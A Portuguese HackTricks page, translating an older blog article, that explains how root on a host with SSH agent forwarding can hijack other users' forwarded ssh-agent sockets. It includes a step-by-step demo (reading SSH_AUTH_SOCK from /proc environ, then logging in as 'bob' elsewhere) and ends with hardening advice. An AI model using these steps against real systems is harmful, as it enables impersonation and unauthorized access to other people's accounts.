hacktricks/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md

12 KiB
Raw Blame History

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Resumo

O que você pode fazer se descobrir dentro do /etc/ssh_config ou dentro da configuração $HOME/.ssh/config isto:

ForwardAgent yes

Se você é root dentro da máquina, provavelmente pode acessar qualquer conexão ssh feita por qualquer agente que você encontrar no diretório /tmp

Personificar Bob usando um dos ssh-agent de Bob:

SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston

Por que isso funciona?

Quando você define a variável SSH_AUTH_SOCK, você está acessando as chaves de Bob que foram usadas na conexão ssh de Bob. Então, se a chave privada dele ainda estiver lá (normalmente estará), você poderá acessar qualquer host usando-a.

Como a chave privada é salva na memória do agente descriptografada, suponho que, se você for Bob mas não souber a senha da chave privada, ainda poderá acessar o agente e usá-lo.

Outra opção é que o usuário proprietário do agente e o root possam acessar a memória do agente e extrair a chave privada.

Explicação longa e exploração

Retirado de: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/

Quando ForwardAgent Não Pode Ser Confiável

SSH sem senhas torna a vida com sistemas operacionais semelhantes ao Unix muito mais fácil. Se sua rede requer sessões ssh encadeadas (para acessar uma rede restrita, por exemplo), o encaminhamento de agente se torna extremamente útil. Com o encaminhamento de agente, é possível para mim conectar do meu laptop ao meu servidor de desenvolvimento e de lá executar um svn checkout de outro servidor, tudo sem senhas, mantendo minha chave privada segura na minha estação de trabalho local.

Isso pode ser perigoso, no entanto. Uma rápida pesquisa na web revelará vários artigos indicando que isso só é seguro se os hosts intermediários forem confiáveis. Raramente, no entanto, você encontrará uma explicação do porquê isso é perigoso.

É para isso que serve este artigo. Mas primeiro, um pouco de contexto.

Como Funciona a Autenticação Sem Senha

Ao autenticar no modo normal, o SSH usa sua senha para provar que você é quem diz ser. O servidor compara um hash desta senha com um que possui em arquivo, verifica se os hashes correspondem e permite sua entrada.

Se um atacante for capaz de quebrar a criptografia usada para proteger sua senha enquanto ela é enviada ao servidor, ele pode roubá-la e fazer login como você quando desejar. Se um atacante for permitido realizar centenas de milhares de tentativas, ele pode eventualmente adivinhar sua senha.

Um método de autenticação muito mais seguro é a autenticação por chave pública, uma maneira de fazer login sem uma senha. A autenticação por chave pública requer um par combinado de chaves pública e privada. A chave pública criptografa mensagens que só podem ser descriptografadas com a chave privada. O computador remoto usa sua cópia da sua chave pública para criptografar uma mensagem secreta para você. Você prova que é você descriptografando a mensagem usando sua chave privada e enviando a mensagem de volta ao computador remoto. Sua chave privada permanece segura em seu computador local o tempo todo, protegida de ataques.

A chave privada é valiosa e deve ser protegida, portanto, por padrão, é armazenada em um formato criptografado. Infelizmente, isso significa digitar sua frase de acesso de criptografia antes de usá-la. Muitos artigos sugerem o uso de chaves privadas sem frase de acesso (não criptografadas) para evitar esse inconveniente. Isso é uma má ideia, pois qualquer pessoa com acesso à sua estação de trabalho (por acesso físico, roubo ou hackeamento) agora também tem acesso livre a qualquer computador configurado com sua chave pública.

O OpenSSH inclui ssh-agent, um daemon que é executado em sua estação de trabalho local. Ele carrega uma cópia descriptografada da sua chave privada na memória, para que você só tenha que digitar sua frase de acesso uma vez. Ele então fornece um socket local que o cliente ssh pode usar para pedir que ele descriptografe a mensagem criptografada enviada de volta pelo servidor remoto. Sua chave privada permanece seguramente aconchegada na memória do processo ssh-agent enquanto ainda permite que você se mova por aí com ssh sem digitar senhas.

Como Funciona o ForwardAgent

Muitas tarefas requerem "encadear" sessões ssh. Considere meu exemplo anterior: eu faço ssh do meu workstation para o servidor de desenvolvimento. Enquanto estou lá, preciso realizar um svn update, usando o protocolo "svn+ssh". Como seria absurdo deixar uma cópia descriptografada da minha chave privada super-secreta em um servidor compartilhado, agora estou preso com autenticação por senha. No entanto, se eu habilitasse "ForwardAgent" na configuração ssh do meu workstation, o ssh usaria suas capacidades de tunelamento embutidas para criar outro socket no servidor de desenvolvimento que é tunelado de volta para o socket do ssh-agent na minha estação de trabalho local. Isso significa que o cliente ssh no servidor de desenvolvimento agora pode enviar solicitações de "descriptografe esta mensagem secreta" diretamente de volta para o ssh-agent em execução na minha estação de trabalho, autenticando-se ao servidor svn sem nunca ter acesso à minha chave privada.

Por Que Isso Pode Ser Perigoso

Simplificando, qualquer pessoa com privilégio de root no servidor intermediário pode fazer uso livre do seu ssh-agent para autenticar-se em outros servidores. Uma demonstração simples mostra como isso pode ser feito trivialmente. Nomes de host e usuários foram alterados para proteger os inocentes.

Meu laptop está executando ssh-agent, que se comunica com os programas cliente ssh por meio de um socket. O caminho para este socket é armazenado na variável de ambiente SSH_AUTH_SOCK:

mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners

O programa ssh-add nos permite visualizar e interagir com chaves no agente:

mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

Eu tenho "ForwardAgent yes" no ~/.ssh/config no meu laptop. Então o ssh vai criar um túnel conectando o socket local a um socket local no servidor remoto:

mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990

Embora minhas chaves não estejam instaladas em "seattle", os programas cliente ssh ainda conseguem acessar o agente em execução na minha máquina local:

seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

Então... com quem podemos mexer?

seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)

Eu nunca gostei do Bob. Para encontrar a conexão do agente dele, preciso localizar o processo filho de uma das sessões ssh dele:

seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)

sshd(25296)───bash(25297)───vim(14308)

Existem várias maneiras de o root visualizar o ambiente de um processo em execução. No Linux, os dados estão disponíveis em /proc/<pid>/environ. Como eles são armazenados em strings terminadas em NULL, usarei o tr para converter os NULLs em novas linhas:

seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816

Agora tenho tudo o que preciso saber para sequestrar o ssh-agent do Bob:

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)

Caso eu tenha um alvo específico em mente, agora devo ser capaz de me conectar diretamente. Caso contrário, apenas observar a lista de processos ou pesquisar no arquivo de histórico do Bob deve apresentar várias oportunidades de alvo. Neste caso, sei que o Bob tem todos os tipos de arquivos super secretos armazenados no servidor chamado "boston":

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob

Proteja-se!

Não permita que seu ssh-agent armazene suas chaves indefinidamente. No OS X, configure seu Keychain para bloquear após inatividade ou quando a tela for bloqueada. Em outras plataformas Unix, use a opção -t com o ssh-agent para que suas chaves sejam removidas após segundos.

Não habilite o encaminhamento de agente ao conectar-se a hosts não confiáveis. Felizmente, a sintaxe ~/.ssh/config torna isso bastante simples:

Host trustworthyhost
ForwardAgent yes
Host *
ForwardAgent no

Leitura Recomendada

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: